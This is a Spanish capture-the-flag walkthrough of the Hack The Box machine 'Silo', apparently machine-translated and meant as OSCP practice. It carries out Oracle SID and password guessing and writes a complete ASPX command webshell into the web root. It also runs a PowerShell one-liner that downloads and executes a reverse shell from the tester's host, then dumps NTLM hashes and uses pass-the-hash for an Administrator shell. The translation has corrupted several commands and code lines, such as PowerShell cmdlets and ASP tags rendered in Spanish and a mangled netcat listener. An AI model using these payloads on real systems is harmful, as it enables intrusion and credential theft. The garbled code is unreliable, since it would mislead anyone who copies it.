Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.
En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.
¡Empecemos con la diversión!
Silo
Initial Foothold
Nmap muestra que hay un puerto a la escucha de Oracle en el puerto: 1521
con la versión: 11.2.0.2.0
.
Una rápida búsqueda en Google nos dice que esta versión es vulnerable a ser explotada con RCE: CVE-2012-1675
.
Esta página (https://github.com/quentinhardy/odat/wiki/tnspoison) habla de la explotación con una herramienta llamada odat
(Oracle Database Attacking Tool).
Podemos usar este comando odat tnspoison -s $SERVER -d $ID --test-module
para probar si el objetivo es
vulnerable. Sin embargo, primero necesitamos el $ID
(Sistema de identificación de Oracle).
Afortunadamente, con odat -h
encontramos que tiene un módulo sidguesser
: odat sidguesser -s 10.10.10.82
.
[1] (10.10.10.82:1521): Buscando SIDs válidos
1.1] Buscando SIDs válidos gracias a una conocida lista de SIDs en el servidor 10.10.10.82:1521
[+] 'XE' es un SID válido. Continúa...
[+] 'XEXDB' es un SID válido. Continúa...
100% |######################################################################################################################################################################################################################| Tiempo: 00:02:20
[1.2] Buscando identificaciones válidas gracias a un ataque de fuerza bruta en 1 caracteres ahora (10.10.10.82:1521)
100% |######################################################################################################################################################################################################################| Tiempo: 00:00:04
[1.3] Buscando identificaciones válidas gracias a un ataque de fuerza bruta en 2 caracteres ahora (10.10.10.82:1521)
[+] 'XE' es un SID válido. Continúa...
100% |######################################################################################################################################################################################################################| Tiempo: 00:02:07
[+] SIDs encontrados en el servidor de 10.10.10.82:1521: XE,XEXDB
Así que ahora podemos ejecutar el comando para ver si es vulnerable:
odat tnspoison -s 10.10.10.82 -d XE --test-module
[1] (10.10.10.82:1521): ¿Es vulnerable al envenenamiento por TNS (CVE-2012-1675)?
El objetivo es vulnerable a un envenenamiento remoto de TNS
Hora de explotarlo: odat tnspoison -s 10.10.10.82 -d XE --poison
. Desafortunadamente, el script es
jodido debido al reciente puerto a Python 3. Probando la versión de Python 2 tampoco funcionó.
Find Another Path
Intentemos adivinar la contraseña de la base de datos: odat passwordguesser -s 10.10.10.82 -d XE
.
No funciona, si echamos un vistazo a la lista de palabras por defecto usr/share/odat/accounts/accounts.txt
,
todo está en mayúsculas. Sin embargo, este artículo dice que son sensibles a las mayúsculas.
Después de un millón de intentos, la solución es:
- Consigue una mejor lista de palabras en Seclists.
- Sustituir el
:
por/
. - Usa una macro Vim para clonar cada línea a minúsculas.
Encontramos las credenciales: Scott/Tiger
.
- Conéctate a la base de datos usando
sqlplus
:sqlplus scott/tiger@10.10.10.82:1521/XE como sysdba
User
Nuestro objetivo es escribir una web aspx
usando sqlplus
. Para eso, abrimos una shell aspx
:
usr/share/webshells/aspx/cmdasp.aspx
.
Aparentemente Oracle es muy exigente con la forma en que escribimos los archivos, tiene que ser de menos de 1000 carácteres y en una línea.
Por lo tanto, eliminamos algunos comentarios y estilos. Entonces usa sed -z 's/\n//g' cmdasp.aspx
para obtenerlo en 1 línea.
La carga útil final se ve así:
declarar
f utl_file.file_type;
s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System. IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi. FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr. ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text));Response. Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp: Botón id="testing" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Botón><asp:Etiqueta id="lblText" runat="server">Comando:</asp:Etiqueta></form></body></HTML>';
comienza
f:= utl_file.fopen('/inetpub/wwwroot', 'peng.aspx', 'W');
utl_file.put_line(f,s);
utl_file.fclose(f);
end;
/
Después de eso, si navegamos a 10.10.10.82/peng.aspx
deberíamos ser capaces de encontrar una web.
Reverse Shell
- Abre una reverse powershell con:
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .
. - Renombrarlo:
mv Invoke-PowerShellTcp.ps1 shell.ps1
. - Añada al final:
Invocar-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 6969
. - Configurar un puerto escucha:
Cat -Invp 6969
. - Configurar el servidor HTTP:
python3 -m http.server
. - En el webshell:
powershell -ExecutionPolicy Bypass "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.14:8000/shell.ps1')"
.
Y obtenemos una shell como iis apppool\defaultapppool
.
Raíz
Hay un archivo raro llamado Oracle issue.txt
en el escritorio de Phineas. Tiene un enlace de buzón y una contraseña.
Aparentemente, la contraseña no se muestra correctamente debido a nuestra shell estropeada. Conviértela en base64 y decodificarla en Kali:
$fc = Obtener-Contenido "Emisión de Oracle.txt"
$fe = [Sistema.Texto.Codificación]::UTF8.GetBytes($fc)
ToBase64String($fe)
Decodifíquelo:
echo - n "U3VwcG9ydCB2ZW5kb3IgZW5nYWdlZCB0byB0cm91Ymxlc2hvb3QgV2luZG93cyAvIE9yYWNsZSBwZXJmb3JtYW5jZSBpc3N1ZSAoZnVsbCBtZW1vcnkgZHVtcCByZXF1ZXN0ZWQpOiAgRHJvcGJveCBsaW5rIHByb3ZpZGVkIHRvIHZlbmRvciAoYW5kIHBhc3N3b3JkIHVuZGVyIHNlcGFyYXRlIGNvdmVyKS4gIERyb3Bib3ggbGluayAgaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vc2gvNjlza3J5emZzemI3ZWxxL0FBRFpuUUViYnFEb0lmNUwyZDBQQnhFTmE/ZGw9MCAgbGluayBwYXNzd29yZDogwqMlSG04NjQ2dUMk" | base64 - d
La contraseña actual es: £%Hm8646uC$
.
Tenemos un volcado de memoria: SILO-20180105-221806.dmp
. Podemos usar volatilidad
para analizarlo.
Diving Into the Dump
La volatility
requiere que especifiquemos un perfil para analizar el volcado. Si ejecutamos systeminfo
desde nuestro shell inverso, vemos que es un Windows Server 2012 de 64 bits.
Así que, con esa información, podemos obtener hashdump
usando el siguiente comando:
volatility -f SILO-20180105-221806.dmp --profile Win2012R2x64 hashdump
.
Administrator:500:aad3b435b51404ead3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Invitado:501:aad3b435b51404ead3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404ead3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::
Y con eso, podemos hacer un mitigación de ataques para conseguir una shell:
pth-winexe -U Administrator%aad3b435b51404ead3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 //10.10.10.82 cmd
Y conseguimos la shell.